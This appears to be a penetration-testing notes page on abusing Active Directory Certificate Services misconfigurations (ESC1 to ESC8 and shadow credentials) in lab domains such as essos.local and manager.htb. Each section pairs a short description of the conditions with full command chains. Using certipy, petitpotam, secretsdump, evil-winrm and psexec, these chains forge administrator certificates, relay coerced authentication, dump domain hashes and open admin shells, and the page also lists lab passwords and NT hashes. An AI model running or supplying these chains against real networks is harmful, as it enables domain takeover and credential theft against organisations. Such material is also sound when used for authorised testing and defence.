Exploits
ESC1
In order to abuse this misconfiguration, the following conditions must be met:
The Enterprise CA grants low-privileged users enrollment rights. The Enterprise CA’s configuration must permit low-privileged users the ability to request certificates. See the “Background — Certificate Enrollment” in the whitepaper paper for more details.
Manager approval is disabled. This setting necessitates that a user with certificate manager permissions review and approve the requested certificate before the certificate is issued. See the “Background — Certificate Enrollment — Issuance Requirements’ section in the whitepaper paper for more details.
No authorized signatures are required. This setting requires any CSR to be signed by an existing authorized certificate. See the “Background — Certificate Enrollment — Issuance Requirements” section in the whitepaper for more details.
An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. Having certificate enrollment rights allows a low-privileged attacker to request and obtain a certificate based on the template. Enrollment rights are granted via the certificate template AD object’s security descriptor.
The certificate template defines EKUs that enable authentication. Applicable EKUs include Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA).
The certificate template allows requesters to specify a subjectAltName (SAN) in the CSR. If a requester can specify the SAN in a CSR, the requester can request a certificate as anyone (e.g., a domain admin user). The certificate template’s AD object specifies if the requester can specify the SAN in its mspki-certificate-name-flag property. The mspki-certificate-name-flag property is a bitmask and if the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is present, a requester can specify the SAN. This is surfaced as the “Supply in request” option in the “Subject Name” tab in certtmpl.msc.
# enumerate
certipy find -u [email protected] -p 'horse' -dc-ip 192.168.56.12
# query the certificate
certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn [email protected]
# authentication with the pfx we request before
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12ESC2 & ESC3
ESC2
In order to abuse this misconfiguration, the following conditions must be met:
The Enterprise CA grants low-privileged users enrollment rights. Details are the same as in ESC1.
Manager approval is disabled. Details are the same as in ESC1.
No authorized signatures are required. Details are the same as in ESC1.
An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. Details are the same as in ESC1.
The certificate template defines Any Purpose EKUs or no EKU.
ESC3
In order to abuse this misconfiguration, the following conditions must be met:
The Enterprise CA grants low-privileged users enrollment rights. Details are the same as in ESC1.
Manager approval is disabled. Details are the same as in ESC1.
No authorized signatures are required. Details are the same as in ESC1.
An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. Details are the same as in ESC1.
The certificate template defines the Certificate Request Agent EKU. The Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) allows for requesting other certificate templates on behalf of other principals.
Enrollment agent restrictions are not implemented on the CA.
Exploits
# ESC2
# query the cert
certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA
# query cert with the Certificate Request Agent certificate we get before (-pfx)
certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
# auth
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
# ESC3 & ESC3-CRA
certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC3-CRA -ca ESSOS-CA
certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.56.12ESC4
Manager Approval requirement is enabled
An Authorized Signature is required to issue certificate
Subject Name cannot be supplied in request
Set "Encrypting File System" for Certificate Application Policy Extension
But if low privileged user account has WriteDacl for this template, these restrictions can be broken, and attackers can abuse it for domain escalation.
# Take the ESC4 template and change it to be vulnerable to ESC1 technique by using the genericWrite privilege we got.
certipy template -u [email protected] -p 'horse' -template ESC4 -save-old -debug
# Exploit ESC1 on the modified ESC4 template
certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn [email protected]
# authentication with the pfx
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
# Rollback the template configuration
certipy template -u [email protected] -p 'horse' -template ESC4 -configuration ESC4.jsonESC6
ESC6 is when the CA specifies the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template’s configuration.
certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12ESC7
During the engagement, Certify reported the presence of a CA (Certificate Authority) with an ACL that granted the ManageCA and ManageCertificate right to the Authenticated Users group, which in other words means that any domain account has these permissions.
According to SpecterOps’ research this configuration has the following risks:
ManageCA allows a user to change the CA’s settings, which, among other things, can be used to turn on SAN (Subject Alternative Name) to all the templates managed by the CA. SAN is an extension that allows a user to request a certificate linked to additional identities. This is the key behind the attack ESC1, because if a template has this extension, it is possible to request a valid certificate for any domain account. As we said, turning this on at CA level, makes the extension available to all the CA’s templates even if they don’t have it individually (allowing for the attack ESC6).
ManageCertificates is less sensitive from a security perspective, but it allows a user to issue certificates that are pending approval.
certipy ca -ca 'manager-DC01-CA' -add-officer raven -username '[email protected]' -password 'R4v3nBe5tD3veloP3r!123'
certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username '[email protected]' -password 'R4v3nBe5tD3veloP3r!123'
certipy req -username '[email protected]' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn '[email protected]'
certipy ca -ca 'manager-DC01-CA' -issue-request 20 -username '[email protected]' -password 'R4v3nBe5tD3veloP3r!123'
certipy req -username '[email protected]' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 20
# verify the clock
sudo ntpdate -u manager.htb
# connect as admin !
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236
# evilwinrm or psexec.py
evil-winrm -i 10.10.11.236 -u administrator -H '$hash'
psexec.py manager.htb/[email protected] -hashes $hash -dc-ip 10.10.11.236ESC8
In summary, if an environment has AD CS installed, along with a vulnerable web enrollment endpoint and at least one certificate template published that allows for domain computer enrollment and client authentication (like the default Machine template), then an attacker can compromise ANY computer with the spooler service running!
certipy
# setup the listener :
certipy relay -ca 192.168.56.23 -template DomainController
# trig the coerce
petitpotam.py 192.168.56.1 meereen.essos.local
# we got the certificate so we can get the NT hash of the DC and also the TGT with the command :
certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12
# we can launch a DCsync with secretsdump and the ticket we get
export KRB5CCNAME=/workspace/esc8/meereen.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
# or with the hash
secretsdump -hashes ':39d964a01c61c19fe36c71627d7ab56c' -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.localShadow Credentials
Shadow credentials attack consist of using the GenericAll or GenericWrite privilege on a user or computer to set up the attribute msDS-KeyCredentialLink. This attack is very usefull when you got Write on another user.
With genericWrite you can only do:
Target Kerberoasting : add an SPN to a user, do a kerberoasting, unset the spn. But the user password must be weak to the kerberoasting attack work.
Set up a logon script : change ldap parameters to set up a logon script. but it implies that the user log to his computer, an smb server or a share to offer the script and setup a script that bypass the security solutions in place)
Shadow credentials : the attack we want to do, we need a cetificate service on the domain
With GenericAll you can :
ForceChangePassword : but on a real pentest you don’t want to block a user by changing his password.
So if ADCS is enabled on the domain, and we got write privilege on msDS-KeyCredentialLink, we can do the shadow credentials attack to get a direct access on the user account. And this seems to be the better idea in this case on a real pentest.
certipy shadow auto -u [email protected] -p 'horse' -account 'viserys.targaryen'
certipy shadow auto -u [email protected] -hashes 'd96a55df6bef5e0b4d6d956088036097' -account 'jorah.mormont'Last updated
Was this helpful?